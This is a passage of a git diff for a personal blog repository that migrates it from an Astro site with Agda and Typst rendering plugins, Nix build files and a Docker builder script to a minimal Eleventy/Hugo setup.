-        "rev": "3425ed5543d2e6f98094b834fedcdec3a2fb67a6",
-        "type": "github"
-      },
-      "original": {
-        "owner": "agda",
-        "repo": "agda",
-        "type": "github"
-      }
-    },
-    "flake-parts": {
-      "inputs": {
-        "nixpkgs-lib": "nixpkgs-lib"
-      },
-      "locked": {
-        "lastModified": 1701473968,
-        "narHash": "sha256-YcVE5emp1qQ8ieHUnxt1wCZCC3ZfAS+SRRWZ2TMda7E=",
-        "owner": "hercules-ci",
-        "repo": "flake-parts",
-        "rev": "34fed993f1674c8d06d58b37ce1e0fe5eebcb9f5",
-        "type": "github"
-      },
-      "original": {
-        "owner": "hercules-ci",
-        "repo": "flake-parts",
-        "type": "github"
-      }
-    },
     "flake-utils": {
       "inputs": {
         "systems": "systems"
       },
       "locked": {
-        "lastModified": 1726560853,
-        "narHash": "sha256-X6rJYSESBVr3hBoH0WbKE5KvhPU5bloyZ2L4K60/fPQ=",
+        "lastModified": 1681202837,
+        "narHash": "sha256-H+Rh19JDwRtpVPAWp64F+rlEtxUWBAQW28eAi3SRSzg=",
         "owner": "numtide",
         "repo": "flake-utils",
-        "rev": "c1dfcf08411b08f6b8615f7d8971a2bfa81d5e8a",
+        "rev": "cfacdce06f30d2b68473a46042957675eebb3401",
         "type": "github"
       },
       "original": {
@@ -58,11 +19,11 @@
     },
     "nixpkgs": {
       "locked": {
-        "lastModified": 1729265718,
-        "narHash": "sha256-4HQI+6LsO3kpWTYuVGIzhJs1cetFcwT7quWCk/6rqeo=",
-        "owner": "NixOS",
+        "lastModified": 1663551060,
+        "narHash": "sha256-e2SR4cVx9p7aW/XnVsGsWZBplApA9ZJUjc0fejJhnYo=",
+        "owner": "nixos",
         "repo": "nixpkgs",
-        "rev": "ccc0c2126893dd20963580b6478d1a10a4512185",
+        "rev": "8a5b9ee7b7a2b38267c9481f5c629c015108ab0d",
         "type": "github"
       },
       "original": {
@@ -70,27 +31,8 @@
         "type": "indirect"
       }
     },
-    "nixpkgs-lib": {
-      "locked": {
-        "dir": "lib",
-        "lastModified": 1701253981,
-        "narHash": "sha256-ztaDIyZ7HrTAfEEUt9AtTDNoCYxUdSd6NrRHaYOIxtk=",
-        "owner": "NixOS",
-        "repo": "nixpkgs",
-        "rev": "e92039b55bcd58469325ded85d4f58dd5a4eaf58",
-        "type": "github"
-      },
-      "original": {
-        "dir": "lib",
-        "owner": "NixOS",
-        "ref": "nixos-unstable",
-        "repo": "nixpkgs",
-        "type": "github"
-      }
-    },
     "root": {
       "inputs": {
-        "agda": "agda",
         "flake-utils": "flake-utils",
         "nixpkgs": "nixpkgs"
       }

flake.nix

@@ -1,31 +1,8 @@
 {
-  inputs.agda.url = "github:agda/agda";
-  inputs.agda.inputs.nixpkgs.follows = "nixpkgs";
-  outputs = { self, nixpkgs, flake-utils, agda, }:
+  description = "A very basic flake";
+
+  outputs = { self, nixpkgs, flake-utils }:
     flake-utils.lib.eachDefaultSystem (system:
-      let
-        pkgs = import nixpkgs { inherit system; overlays = [ agda.overlays.default ]; };
-        agda-pkg = agda.packages.x86_64-linux.default;
-        flakePkgs = rec {
-          agda-bin = pkgs.callPackage ./nix/agda-bin.nix { agda-pkg = pkgs.haskellPackages.Agda.bin; };
-          docker-builder =
-            pkgs.callPackage ./nix/docker-builder.nix { inherit agda-bin; };
-        };
-      in {
-        packages = flake-utils.lib.flattenTree flakePkgs;
-        devShell = pkgs.mkShell {
-          ASTRO_TELEMETRY_DISABLED = 1;
-
-          packages = with pkgs;
-            with flakePkgs; [
-              bun
-              nixfmt-rfc-style
-              nix-tree
-              shellcheck
-
-              nodejs_20
-              corepack
-            ];
-        };
-      });
+      let pkgs = import nixpkgs { inherit system; };
+      in { devShell = pkgs.mkShell { packages = with pkgs; [ hugo ]; }; });
 }

frontmatter.json

@@ -1,47 +0,0 @@
-{
-  "$schema": "https://frontmatter.codes/frontmatter.schema.json",
-  "frontMatter.framework.id": "astro",
-  "frontMatter.preview.host": "http://localhost:4321",
-  "frontMatter.content.publicFolder": "public",
-  "frontMatter.content.pageFolders": [
-    {
-      "title": "posts",
-      "path": "[[workspace]]/src/content/posts"
-    }
-  ],
-  "frontMatter.taxonomy.contentTypes": [
-    {
-      "name": "default",
-      "pageBundle": false,
-      "previewPath": "",
-      "filePrefix": null,
-      "clearEmpty": true,
-      "fields": [
-        {
-          "title": "Title",
-          "name": "title",
-          "type": "string",
-          "single": true
-        },
-        {
-          "title": "Description",
-          "name": "description",
-          "type": "string"
-        },
-        {
-          "title": "Publishing date",
-          "name": "date",
-          "type": "datetime",
-          "default": "{{now}}",
-          "isPublishDate": true
-        },
-        {
-          "title": "Content preview",
-          "name": "heroImage",
-          "type": "image",
-          "isPreviewImage": true
-        }
-      ]
-    }
-  ]
-}

layouts/base.html

@@ -0,0 +1,38 @@
+<!DOCTYPE html>
+<html lang="en">
+  <head>
+    <meta charset="utf-8" />
+    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
+    <title>Michael Zhang</title>
+
+    <link rel="stylesheet" href="/main.css" />
+  </head>
+
+  <body>
+    <div class="flex-wrapper">
+      <div class="sep"></div>
+
+      <div class="container"></div>
+    </div>
+
+    <footer>
+      <p>
+        Blog code licensed under
+        <a href="https://www.gnu.org/licenses/gpl-3.0.txt" target="_blank"
+          >[GPL-3.0]</a
+        >. Post contents licensed under
+        <a href="https://creativecommons.org/licenses/by-sa/4.0/legalcode.txt"
+          >[CC BY-SA 4.0]</a
+        >.
+        <br />
+        Written by Michael Zhang.
+        <a
+          href="https://git.mzhang.io/michael/blog"
+          class="colorlink"
+          target="_blank"
+          >[Source]</a
+        >.
+      </p>
+    </footer>
+  </body>
+</html>

layouts/post.html

@@ -0,0 +1,5 @@
+---
+layout: base
+---
+
+<h1>{{ title }}</h1>

nix/agda-bin.nix

@@ -1,23 +0,0 @@
-{ agda-pkg, runCommand, writeShellScriptBin, writeTextFile, agdaPackages }:
-
-let
-  libraryFile =
-    with agdaPackages;
-    writeTextFile {
-      name = "agda-libraries";
-      text = ''
-        ${agdaPackages.cubical.src}/cubical.agda-lib
-        ${agdaPackages.standard-library.src}/standard-library.agda-lib
-      '';
-    };
-
-  # Add an extra layer of indirection here to prevent all of GHC from being pulled in
-  wtf = runCommand "agda-bin" { } ''
-    cp ${agda-pkg}/bin/agda $out
-  '';
-in
-
-writeShellScriptBin "agda" ''
-  set -euo pipefail
-  exec ${wtf} --library-file=${libraryFile} $@
-''

nix/docker-builder.nix

@@ -1,47 +0,0 @@
-{ dockerTools
-, agda-bin
-, bash
-, corepack
-, coreutils
-, gitMinimal
-, gnused
-, minio-client
-, nodejs_20
-, openssh
-, pkgsLinux
-, rsync
-}:
-
-dockerTools.buildLayeredImage {
-  name = "blog-docker-builder";
-
-  contents = with dockerTools; [
-    agda-bin
-    bash
-    caCertificates
-    corepack
-    coreutils
-    fakeNss
-    gitMinimal
-    gnused
-    minio-client
-    nodejs_20
-    openssh
-    rsync
-    usrBinEnv
-  ];
-
-  # fakeRootCommands = ''
-  #   #!${pkgsLinux.runtimeShell}
-  #   ${pkgsLinux.dockerTools.shadowSetup}
-  #   groupadd -r builder
-  #   useradd -r -g builder builder
-  # '';
-}
-
-#   copyToRoot = with dockerTools; buildEnv {
-#     name = "blog-docker-builder-image-root";
-#     paths = [
-#     ];
-#   };
-

package.json

@@ -1,57 +1,10 @@
 {
-  "name": "blog",
-  "type": "module",
-  "version": "0.0.1",
-  "packageManager": "pnpm@9.4.0+sha256.b6fd0bfda555e7e584ad7e56b30c68b01d5a04f9ee93989f4b93ca8473c49c74",
-  "scripts": {
-    "dev": "astro dev",
-    "start": "astro dev",
-    "build": "astro build",
-    "preview": "astro preview",
-    "astro": "astro",
-    "format": "prettier -w ."
-  },
-  "dependencies": {
-    "@astrojs/markdoc": "^0.11.1",
-    "@astrojs/markdown-remark": "^5.1.1",
-    "@astrojs/mdx": "^1.1.5",
-    "@astrojs/rss": "^3.0.0",
-    "@astrojs/sitemap": "^3.1.6",
-    "@justfork/rehype-autolink-headings": "^5.1.1",
-    "astro": "^3.6.5",
-    "astro-imagetools": "^0.9.0",
-    "astro-remark-description": "^1.1.2",
-    "classnames": "^2.5.1",
-    "fork-awesome": "^1.2.0",
-    "katex": "^0.16.10",
-    "lodash-es": "^4.17.21",
-    "mdast-util-to-string": "^4.0.0",
-    "nanoid": "^4.0.2",
-    "reading-time": "^1.5.0",
-    "rehype-accessible-emojis": "^0.3.2",
-    "rehype-katex": "^6.0.3",
-    "remark-emoji": "^4.0.1",
-    "remark-github-beta-blockquote-admonitions": "^2.2.1",
-    "remark-math": "^5.1.1",
-    "remark-parse": "^10.0.2",
-    "sanitize-html": "^2.13.1",
-    "sharp": "^0.33.4"
-  },
   "devDependencies": {
-    "@biomejs/biome": "^1.8.2",
-    "@types/lodash-es": "^4.17.12",
-    "@types/sanitize-html": "^2.13.0",
-    "date-fns": "^2.30.0",
-    "hast-util-from-html": "^2.0.1",
-    "hast-util-to-html": "^9.0.1",
-    "mdast": "^3.0.0",
-    "mdast-util-from-markdown": "^2.0.1",
-    "prettier": "^3.3.2",
-    "prettier-plugin-astro": "^0.12.3",
-    "rehype-slug": "^6.0.0",
-    "sass": "^1.77.6",
-    "shiki": "^0.14.7",
-    "unified": "^11.0.5",
-    "unist-util-visit": "^5.0.0"
+    "@11ty/eleventy": "^2.0.1",
+    "@11ty/eleventy-plugin-directory-output": "^1.0.1",
+    "@11ty/eleventy-plugin-inclusive-language": "^1.0.3",
+    "eleventy-sass": "^2.2.1",
+    "sass": "^1.62.1",
+    "typescript": "^5.0.4"
   }
 }

plugin/remark-admonitions.ts

@@ -1,155 +0,0 @@
-// https://github.com/myl7/remark-github-beta-blockquote-admonitions
-// License: Apache-2.0
-
-import { visit } from "unist-util-visit";
-import type { Data } from "unist";
-import type { BuildVisitor } from "unist-util-visit";
-import type { Blockquote, Paragraph, Text } from "mdast";
-import type { RemarkPlugin } from "@astrojs/markdown-remark";
-import classNames from "classnames";
-
-const remarkAdmonitions: RemarkPlugin =
-  (providedConfig?: Partial<Config>) => (tree) => {
-    visit(tree, handleNode({ ...defaultConfig, ...providedConfig }));
-  };
-
-export default remarkAdmonitions;
-
-const handleNode =
-  (config: Config): BuildVisitor =>
-  (node) => {
-    // Filter required elems
-    if (node.type !== "blockquote") return;
-    const blockquote = node as Blockquote;
-
-    if (blockquote.children[0]?.type !== "paragraph") return;
-
-    const paragraph = blockquote.children[0];
-    if (paragraph.children[0]?.type !== "text") return;
-
-    const text = paragraph.children[0];
-
-    // A link break after the title is explicitly required by GitHub
-    const titleEnd = text.value.indexOf("\n");
-    if (titleEnd < 0) return;
-
-    const textBody = text.value.substring(titleEnd + 1);
-    let title = text.value.substring(0, titleEnd);
-    // Handle whitespaces after the title.
-    // Whitespace characters are defined by GFM
-    const m = /[ \t\v\f\r]+$/.exec(title);
-    if (m && !config.titleKeepTrailingWhitespaces) {
-      title = title.substring(0, title.length - m[0].length);
-    }
-    if (!nameFilter(config.titleFilter)(title)) return;
-    const { displayTitle, checkedTitle } = config.titleTextMap(title);
-
-    // Update the text body
-    text.value = textBody;
-
-    // Insert the title element and add classes for the title
-    const paragraphTitleText: Text = { type: "text", value: displayTitle };
-    const paragraphTitle: Paragraph = {
-      type: "paragraph",
-      children: [paragraphTitleText],
-      data: config.dataMaps.title({
-        hProperties: {
-          className: classNameMap(config.classNameMaps.title)(checkedTitle),
-        },
-      }),
-    };
-    blockquote.children.unshift(paragraphTitle);
-
-    // Add classes for the block
-    blockquote.data = config.dataMaps.block({
-      ...blockquote.data,
-      hProperties: {
-        className: classNameMap(config.classNameMaps.block)(checkedTitle),
-      },
-      // The blockquote should be rendered as a div, which is explicitly required by GitHub
-      hName: "div",
-    });
-  };
-
-const TITLE_PATTERN =
-  /\[\!admonition: (attention|caution|danger|error|hint|important|note|tip|warning)\]/i;
-
-export const mkdocsConfig: Partial<Config> = {
-  classNameMaps: {
-    block: (title) => [
-      "admonition",
-      ...(title.startsWith("admonition: ")
-        ? title.substring("admonition: ".length)
-        : title
-      ).split(" "),
-    ],
-    title: classNames("admonition-title"),
-  },
-
-  titleFilter: (title) => Boolean(title.match(TITLE_PATTERN)),
-
-  titleTextMap: (title: string) => {
-    const match = title.match(TITLE_PATTERN);
-    const displayTitle = match?.[1] ?? "";
-    const checkedTitle = displayTitle;
-    return { displayTitle, checkedTitle };
-  },
-};
-
-export interface Config {
-  classNameMaps: {
-    block: ClassNameMap;
-    title: ClassNameMap;
-  };
-  titleFilter: NameFilter;
-  titleTextMap: (title: string) => {
-    displayTitle: string;
-    checkedTitle: string;
-  };
-  dataMaps: {
-    block: (data: Data) => Data;
-    title: (data: Data) => Data;
-  };
-  titleKeepTrailingWhitespaces: boolean;
-  legacyTitle: boolean;
-}
-
-export const defaultConfig: Config = {
-  classNameMaps: {
-    block: "admonition",
-    title: "admonition-title",
-  },
-
-  titleFilter: ["[!NOTE]", "[!IMPORTANT]", "[!WARNING]"],
-
-  titleTextMap: (title) => ({
-    displayTitle: title.substring(2, title.length - 1),
-    checkedTitle: title.substring(2, title.length - 1),
-  }),
-  dataMaps: {
-    block: (data) => data,
-    title: (data) => data,
-  },
-  titleKeepTrailingWhitespaces: false,
-  legacyTitle: false,
-};
-
-type ClassNames = string | string[];
-type ClassNameMap = ClassNames | ((title: string) => ClassNames);
-
-export function classNameMap(gen: ClassNameMap) {
-  return (title: string) => {
-    const classNames = typeof gen === "function" ? gen(title) : gen;
-    return typeof classNames === "object" ? classNames.join(" ") : classNames;
-  };
-}
-
-type NameFilter = ((title: string) => boolean) | string[];
-
-export function nameFilter(filter: NameFilter) {
-  return (title: string) => {
-    return typeof filter === "function"
-      ? filter(title)
-      : filter.includes(title);
-  };
-}

plugin/remark-agda.ts

@@ -1,174 +0,0 @@
-import type { RootContent } from "hast";
-import { fromMarkdown } from "mdast-util-from-markdown";
-import { fromHtml } from "hast-util-from-html";
-import { toHtml } from "hast-util-to-html";
-
-import { spawnSync } from "node:child_process";
-import {
-  mkdirSync,
-  mkdtempSync,
-  readFileSync,
-  existsSync,
-  readdirSync,
-  copyFileSync,
-  writeFileSync,
-} from "node:fs";
-import { tmpdir } from "node:os";
-import { join, parse, resolve, basename } from "node:path";
-import { visit } from "unist-util-visit";
-import type { RemarkPlugin } from "@astrojs/markdown-remark";
-
-interface Options {
-  base: string;
-  outDir: string;
-  publicDir: string;
-}
-
-const remarkAgda: RemarkPlugin = ({ base, publicDir }: Options) => {
-  const destDir = join(publicDir, "generated", "agda");
-  mkdirSync(destDir, { recursive: true });
-
-  return (tree, { history }) => {
-    const path: string = history[history.length - 1]!;
-    if (!(path.endsWith(".lagda.md") || path.endsWith(".agda"))) return;
-
-    // console.log("AGDA:processing path", path);
-
-    const tempDir = mkdtempSync(join(tmpdir(), "agdaRender."));
-    const agdaOutDir = join(tempDir, "output");
-    mkdirSync(agdaOutDir, { recursive: true });
-
-    const childOutput = spawnSync(
-      "agda",
-      [
-        "--html",
-        `--html-dir=${agdaOutDir}`,
-        "--highlight-occurrences",
-        "--html-highlight=code",
-        path,
-      ],
-      {},
-    );
-
-    // Locate output file
-    const directory = readdirSync(agdaOutDir);
-    const outputFilename = directory.find((name) => name.endsWith(".md"));
-
-    if (childOutput.status !== 0 || outputFilename === undefined) {
-      throw new Error(
-        `Agda output:
-
-        Stdout:
-        ${childOutput.stdout}
-
-        Stderr:
-        ${childOutput.stderr}
-        `,
-        {
-          cause: childOutput.error,
-        },
-      );
-    }
-
-    const outputFile = join(agdaOutDir, outputFilename);
-
-    // // TODO: Handle child output
-    // console.error("--AGDA OUTPUT--");
-    // console.error(childOutput);
-    // console.error(childOutput.stdout?.toString());
-    // console.error(childOutput.stderr?.toString());
-    // console.error("--AGDA OUTPUT--");
-
-    const referencedFiles = new Set();
-    for (const file of readdirSync(agdaOutDir)) {
-      referencedFiles.add(file);
-
-      const fullPath = join(agdaOutDir, file);
-      const fullDestPath = join(destDir, file);
-
-      if (file.endsWith(".html")) {
-        const src = readFileSync(fullPath);
-        writeFileSync(
-          fullDestPath,
-          `
-          <!DOCTYPE html>
-          <html>
-          <head>
-          <meta charset="utf-8" />
-          <link rel="stylesheet" href="${base}generated/agda/Agda.css" />
-          </head>
-          <body>
-          <pre class="Agda">
-          ${src}
-          </pre>
-          </body>
-          </html>
-        `,
-        );
-      } else {
-        copyFileSync(fullPath, fullDestPath);
-      }
-    }
-
-    const htmlname = basename(resolve(outputFile)).replace(/(\.lagda)?\.md/, ".html");
-
-    const doc = readFileSync(outputFile);
-
-    // This is the post-processed markdown with HTML code blocks replacing the Agda code blocks
-    const tree2 = fromMarkdown(doc);
-
-    const collectedCodeBlocks: RootContent[] = [];
-    visit(tree2, "html", (node) => {
-      const html = fromHtml(node.value, { fragment: true });
-
-      const firstChild: RootContent = html.children[0]!;
-
-      visit(html, "element", (node) => {
-        if (node.tagName !== "a") return;
-
-        if (node.properties.href) {
-          // Trim off end
-          const [href, hash, ...rest] = node.properties.href.split("#");
-          if (rest.length > 0) throw new Error("come look at this");
-
-          if (href === htmlname) {
-            node.properties.href = `#${hash}`;
-          }
-
-          if (referencedFiles.has(href)) {
-            node.properties.href = `${base}generated/agda/${href}${hash ? `#${hash}` : ""}`;
-            node.properties.target = "_blank";
-          }
-        }
-      });
-
-      if (!firstChild?.properties?.className?.includes("Agda")) return;
-
-      const stringContents = toHtml(firstChild);
-      collectedCodeBlocks.push({
-        contents: stringContents,
-      });
-    });
-
-    let idx = 0;
-    try {
-      visit(tree, "code", (node) => {
-        if (!(node.lang === null || node.lang === "agda")) return;
-
-        if (idx > collectedCodeBlocks.length) {
-          throw new Error("failed");
-        }
-
-        node.type = "html";
-        node.value = collectedCodeBlocks[idx].contents;
-        idx += 1;
-      });
-    } catch (e) {
-      // TODO: Figure out a way to handle this correctly
-      // Possibly by diffing?
-      console.log("Mismatch in number of args. Perhaps there was an empty block?");
-    }
-  };
-};
-
-export default remarkAgda;

plugin/remark-reading-time.ts

@@ -1,16 +0,0 @@
-import getReadingTime from "reading-time";
-import { toString as mdastToString } from "mdast-util-to-string";
-import type { RemarkPlugin } from "@astrojs/markdown-remark";
-
-const remarkReadingTime: RemarkPlugin = () => {
-  return (tree, { data }) => {
-    const textOnPage = mdastToString(tree);
-    const readingTime = getReadingTime(textOnPage);
-
-    // readingTime.text will give us minutes read as a friendly string,
-    // i.e. "3 min read"
-    data.astro.frontmatter.minutesRead = readingTime.text;
-  };
-};
-
-export default remarkReadingTime;

plugin/remark-typst.ts

@@ -1,42 +0,0 @@
-import type { RemarkPlugin } from "@astrojs/markdown-remark";
-import { mkdtempSync, readFileSync, writeFileSync } from "node:fs";
-import { visit } from "unist-util-visit";
-import { join } from "node:path";
-import { spawnSync } from "node:child_process";
-import { tmpdir } from "node:os";
-
-const remarkTypst: RemarkPlugin = () => {
-  const tmp = mkdtempSync(join(tmpdir(), "typst"));
-  let ctr = 0;
-
-  return (tree) => {
-    visit(
-      tree,
-      (node) => node.type === "code" && node.lang === "typst",
-      (node, index, parent) => {
-        const doc = join(tmp, `${ctr}.typ`);
-        const docOut = join(tmp, `${ctr}.svg`);
-        ctr += 1;
-
-        writeFileSync(doc, node.value);
-        const result = spawnSync(
-          "typst",
-          [
-            "compile",
-            "--format",
-            "svg",
-            doc,
-          ],
-          {},
-        );
-        console.log("OUTPUT", result.stderr.toString());
-
-        const svgOut = readFileSync(docOut);
-        node.type = "html";
-        node.value = svgOut.toString();
-      },
-    );
-  };
-};
-
-export default remarkTypst;

public/.well-known/atproto-did

@@ -1 +0,0 @@
-did:plc:zbg2asfcpyughqspwjjgyc2d

public/robots.txt

@@ -1,3 +0,0 @@
-User-agent: *
-Allow: /
-Disallow: /drafts

scripts/upload-builder.sh

@@ -1,13 +0,0 @@
-#!/usr/bin/env bash
-
-set -euo pipefail
-
-nix build .#docker-builder
-IMAGE_NAME=$(docker load -q -i ./result | cut -d':' -f2,3 | xargs)
-REMOTE_IMAGE_NAME="git.mzhang.io/michael/$IMAGE_NAME"
-docker image tag "$IMAGE_NAME" "$REMOTE_IMAGE_NAME"
-
-sed -i -E "s~(.*image: ).*blog-docker-builder:?.*~\1$REMOTE_IMAGE_NAME~" .woodpecker.yml
-echo "Created $REMOTE_IMAGE_NAME"
-
-docker push -q "$REMOTE_IMAGE_NAME"

src/Prelude.agda

@@ -1,95 +0,0 @@
-{-# OPTIONS --cubical-compatible #-}
-
-module Prelude where
-
-open import Agda.Primitive
-
-private
-  variable
-    l : Level
-
-data ⊥ : Set where
-
-rec-⊥ : {A : Set} → ⊥ → A
-rec-⊥ ()
-
-¬_ : Set → Set
-¬ A = A → ⊥
-
-data ⊤ : Set where
-  tt : ⊤
-
-data Bool : Set where
-  true : Bool
-  false : Bool
-
-id : {l : Level} {A : Set l} → A → A
-id x = x
-
-module Nat where
-  data ℕ : Set where
-    zero : ℕ
-    suc : ℕ → ℕ
-  {-# BUILTIN NATURAL ℕ #-}
-
-  infixl 6 _+_
-  _+_ : ℕ → ℕ → ℕ
-  zero + n = n
-  suc m + n = suc (m + n)
-open Nat public
-
-infix 4 _≡_
-data _≡_ {l} {A : Set l} : (a b : A) → Set l where
-  instance refl : {x : A} → x ≡ x
-{-# BUILTIN EQUALITY _≡_ #-}
-
-ap : {A B : Set l} → (f : A → B) → {x y : A} → x ≡ y → f x ≡ f y
-ap f refl = refl
-
-sym : {A : Set l} {x y : A} → x ≡ y → y ≡ x
-sym refl = refl
-
-trans : {A : Set l} {x y z : A} → x ≡ y → y ≡ z → x ≡ z
-trans refl refl = refl
-
-infixl 10 _∙_
-_∙_ = trans
-
-transport : {l₁ l₂ : Level} {A : Set l₁} {x y : A}
-  → (P : A → Set l₂)
-  → (p : x ≡ y)
-  → P x → P y
-transport {l₁} {l₂} {A} {x} {y} P refl = id
-
-infix 4 _≢_
-_≢_ : ∀ {A : Set} → A → A → Set
-x ≢ y  =  ¬ (x ≡ y)
-
-module dependent-product where
-  infixr 4 _,_
-  infixr 2 _×_
-
-  record Σ {l₁ l₂} (A : Set l₁) (B : A → Set l₂) : Set (l₁ ⊔ l₂) where
-    constructor _,_
-    field
-      fst : A
-      snd : B fst
-  open Σ
-  {-# BUILTIN SIGMA Σ #-}
-  syntax Σ A (λ x → B) = Σ[ x ∈ A ] B
-
-  _×_ : {l : Level} (A B : Set l) → Set l
-  _×_ A B = Σ A (λ _ → B)
-open dependent-product public
-
-_∘_ : {A B C : Set} (g : B → C) → (f : A → B) → A → C
-(g ∘ f) a = g (f a)
-
-_∼_ : {A B : Set} (f g : A → B) → Set
-_∼_ {A} f g = (x : A) → f x ≡ g x
-
-postulate
-  funExt : {l : Level} {A B : Set l}
-    → {f g : A → B}
-    → ((x : A) → f x ≡ g x)
-    → f ≡ g

src/components/Footer.astro

@@ -1,27 +0,0 @@
----
-import "../styles/footer.scss";
-import { execSync } from "node:child_process";
-
-const dateUpdated = new Date();
-const gitRevShort = execSync("git rev-parse --short HEAD").toString().trim();
-const gitRev = execSync("git rev-parse HEAD").toString().trim();
----
-
-<footer>
-  <p>
-    Blog theme and contents written by Michael Zhang with the <a
-      href="https://astro.build/"
-      target="_blank"
-      rel="noreferrer noopener">Astro</a
-    > framework.
-    <br />
-    Last updated {dateUpdated.toLocaleString(undefined, { dateStyle: "full" })} at commit
-    <a
-      href={`https://git.mzhang.io/michael/blog/commit/${gitRev}`}
-      class="colorlink"
-      target="_blank">{gitRevShort}</a
-    >.
-    <br />
-    <a href="https://git.mzhang.io/michael/blog" class="colorlink" target="_blank">Source code</a>.
-  </p>
-</footer>

src/components/JsCode.astro

@@ -1,7 +0,0 @@
----
-interface Props {}
-
-const {} = Astro.props;
-console.log("SHIET", Astro.props);
-console.log("SHIET", await Astro.slots.render("default"));
----

src/components/LeftNav.astro

@@ -1,34 +0,0 @@
----
-import "../styles/leftNav.scss";
-import { Content as ShortBio } from "../content/partials/shortBio.md";
-import links from "../data/links";
-import { Image } from "astro:assets";
-import portrait from "../assets/self.png";
-
-// const target = Astro.url.pathname === "/" ? "/about/" : "/";
-const target = "/";
----
-
-<nav class="side-nav">
-  <div class="side-nav-content">
-    <a href={target} class="portrait" data-astro-prefetch>
-      <Image src={portrait} alt="portrait" class="portrait" width={350} height={350} loading="eager" />
-    </a>
-    <div class="me">
-      <div class="titleContainer">
-        <h1 class="title">
-          <a href={target} data-astro-prefetch>Michael Zhang</a>
-        </h1>
-      </div>
-
-      <div class="links">
-        <a href="/about/">About</a>
-      </div>
-    </div>
-
-    <div class="bio">
-      <ShortBio />
-      <a href="/about/">More &raquo;</a>
-    </div>
-  </div>
-</nav>

src/components/PostList.astro

@@ -1,133 +0,0 @@
----
-import { getCollection, type CollectionEntry } from "astro:content";
-import Timestamp from "./Timestamp.astro";
-import { sortBy } from "lodash-es";
-import TagList from "./TagList.astro";
-
-interface Props {
-  basePath: string;
-  /** Whether or not to include drafts in this list */
-  drafts?: "exclude" | "include" | "only";
-  filteredPosts?: Post[];
-  class?: string | undefined;
-  timeFormat?: string | undefined;
-  collection?: string;
-}
-
-type Post = CollectionEntry<"posts">;
-const {
-  class: className,
-  basePath,
-  drafts: includeDrafts,
-  filteredPosts,
-  timeFormat,
-  collection,
-} = Astro.props;
-
-type FilterFn = (_: Post) => boolean;
-
-function unreachable(): never {
-  throw new Error("unreachable");
-}
-
-function getFilter(): FilterFn {
-  switch (includeDrafts) {
-    case "exclude":
-    case undefined:
-      return (post: Post) => !post.data.draft;
-    case "include":
-      return (_: Post) => true;
-    case "only":
-      return (post: Post) => post.data.draft === true;
-  }
-  return unreachable();
-}
-
-const filter = getFilter();
-let allPosts;
-if (filteredPosts) allPosts = filteredPosts.filter(filter);
-else allPosts = await getCollection(collection ?? "posts", filter);
-
-const sortedPosts = sortBy(allPosts, (post) => -post.data.date);
----
-
-<table class={`postListing ${className}`}>
-  {
-    sortedPosts.map((post) => {
-      return (
-        <>
-          <tr class="row">
-            <td>
-              <div class="title">
-                <a href={`${basePath}/${post.slug}/`} class="brand-colorlink">
-                  {post.data.title}
-                </a>
-              </div>
-              <div>
-                <Timestamp timestamp={post.data.date} format={timeFormat} />
-                &middot;
-                <TagList tags={post.data.tags} />
-              </div>
-            </td>
-          </tr>
-        </>
-      );
-    })
-  }
-</table>
-
-<style lang="scss">
-  .postListing {
-    width: 100%;
-    border-spacing: 0px 24px;
-
-    :global(.timestamp) {
-      font-family: var(--monofont);
-      color: var(--smaller-text-color);
-      font-size: 0.75em;
-    }
-
-    :global(.tags) {
-      gap: 8px;
-      display: inline-flex;
-
-      :global(.tag) {
-        background-color: inherit;
-        padding: 0;
-      }
-    }
-
-    td {
-      line-height: 1;
-      display: flex;
-      flex-direction: column;
-      gap: 4px;
-
-      .title {
-        font-size: 12pt;
-      }
-
-      .summary {
-        padding-top: 4px;
-        font-size: 0.64em;
-        color: var(--smaller-text-color);
-
-        p {
-          display: inline;
-        }
-      }
-    }
-
-    td.info {
-      color: var(--smaller-text-color);
-      font-size: 0.75em;
-      white-space: nowrap;
-      text-align: right;
-      vertical-align: baseline;
-
-      .spacer {
-        font-size: 12pt;
-      }
-    }
-  }
-</style>

src/components/TagList.astro

@@ -1,18 +0,0 @@
----
-import "../styles/tagList.scss";
-
-const { extraFront, tags, extraBack } = Astro.props;
----
-
-<div class="tags">
-  {extraFront}
-  {
-    tags.toSorted().map((tag: string) => (
-      <a href={`/tags/${tag}/`} class="tag">
-        <i class="fa fa-tag" aria-hidden="true" />
-        <span class="text">#{tag}</span>
-      </a>
-    ))
-  }
-  {extraBack}
-</div>

src/components/Timestamp.astro

@@ -1,13 +0,0 @@
----
-interface Props {
-  timestamp: Date;
-  format?: string | undefined;
-}
-
-const { timestamp, format: customFormat } = Astro.props;
-import { format } from "date-fns";
----
-
-<span class="timestamp" title={timestamp.toISOString()}>
-  {format(timestamp, customFormat ?? "yyyy MMM dd")}
-</span>

src/components/TocWrapper.astro

@@ -1,128 +0,0 @@
----
-import type { MarkdownHeading } from "astro";
-import "../styles/toc.scss";
-
-interface Props {
-  toc: boolean;
-  headings: MarkdownHeading[];
-}
-
-const { toc, headings } = Astro.props;
-const minDepth = Math.min(...headings.map((heading) => heading.depth));
----
-
-{
-  toc ? (
-    <>
-      <div class="toc-wrapper">
-        <slot />
-        <div class="toc">
-          <h3 class="title">Table of contents</h3>
-          <ul>
-            {headings.map((heading) => {
-              const depth = heading.depth - minDepth;
-              const padding = 10 * Math.pow(0.85, depth);
-              const fontSize = 14 * Math.pow(0.9, depth);
-              return (
-                <li>
-                  <a
-                    href={`#${heading.slug}`}
-                    id={`${heading.slug}-link`}
-                    style={`padding: ${padding}px;`}
-                  >
-                    <span style={`padding-left: ${depth * 10}px; font-size: ${fontSize}px;`}>
-                      {heading.text}
-                    </span>
-                  </a>
-                </li>
-              );
-            })}
-          </ul>
-        </div>
-      </div>
-    </>
-  ) : (
-    <slot />
-  )
-}
-
-<script define:vars={{ toc, headings }}>
-  if (toc) {
-    const headingTags = new Set(["h1", "h2", "h3", "h4", "h5", "h6"]);
-    const headingsMap = new Map([...headings.map((heading) => [heading.slug, new Set()])]);
-    const reverseHeadingMap = new Map();
-    const linkMap = new Map();
-
-    document.addEventListener("DOMContentLoaded", function () {
-      const visibleElements = new Map();
-
-      // Register links
-      for (const heading of headings) {
-        const link = document.getElementById(`${heading.slug}-link`);
-        const el = document.getElementById(heading.slug);
-        if (link && el) {
-          linkMap.set(heading.slug, link);
-          link.addEventListener("click", (e) => {
-            el.scrollIntoView({ behavior: "smooth" });
-            e.preventDefault();
-          });
-        }
-        if (!visibleElements.has(heading.slug)) {
-          visibleElements.set(heading.slug, new Set());
-        }
-      }
-
-      const observer = new IntersectionObserver((entries) => {
